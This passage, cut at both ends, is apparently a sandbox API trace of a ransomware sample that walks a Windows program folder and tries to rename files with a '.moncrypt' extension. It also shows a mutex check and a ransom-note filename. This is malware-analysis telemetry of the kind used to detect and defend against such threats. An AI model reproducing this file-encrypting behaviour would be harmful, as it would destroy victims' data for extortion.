ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 0x54e240 [0057.353] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.353] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.353] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.353] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", dwFileAttributes=0x20) returned 0 [0057.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.353] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.moncrypt")) returned 0 [0057.354] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0057.354] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0057.354] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0057.354] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.354] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.354] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.354] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.354] GlobalUnlock (hMem=0x44000c) returned 0 [0057.354] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.354] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.354] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.354] GlobalUnlock (hMem=0x44000c) returned 0 [0057.354] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.354] GlobalUnlock (hMem=0x440004) returned 0 [0057.354] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.354] CharLowerBuffW (in: lpsz="BlackRectangle.bmp", cchLength=0x12 | out: lpsz="blackrectangle.bmp") returned 0x12 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmpr", lpUsedDefaultChar=0x0) returned 62 [0057.355] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0057.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bmp", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bmples\\BlackRectangle.bmpr", lpUsedDefaultChar=0x0) returned 4 [0057.355] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0057.355] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.355] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.355] GlobalLock (hMem=0x440004) returned 0x550170 [0057.355] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.355] GlobalUnlock (hMem=0x440004) returned 0 [0057.355] GlobalLock (hMem=0x440004) returned 0x550170 [0057.355] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.355] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.356] GlobalUnlock (hMem=0x440004) returned 0 [0057.356] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.356] GlobalUnlock (hMem=0x44000c) returned 0 [0057.356] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.356] CharLowerBuffW (in: lpsz="circleround_glass.png", cchLength=0x15 | out: lpsz="circleround_glass.png") returned 0x15 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", cchWideChar=65, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", lpUsedDefaultChar=0x0) returned 65 [0057.357] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\circleround_glass.png", lpUsedDefaultChar=0x0) returned 4 [0057.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 0x54e240 [0057.357] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.357] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.357] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.357] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", dwFileAttributes=0x20) returned 0 [0057.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.365] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.moncrypt")) returned 0 [0057.365] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0057.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.365] GlobalUnlock (hMem=0x44000c) returned 0 [0057.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.365] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.365] GlobalUnlock (hMem=0x44000c) returned 0 [0057.365] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.365] GlobalUnlock (hMem=0x440004) returned 0 [0057.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.365] CharLowerBuffW (in: lpsz="circleround_selectionsubpicture.png", cchLength=0x23 | out: lpsz="circleround_selectionsubpicture.png") returned 0x23 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", 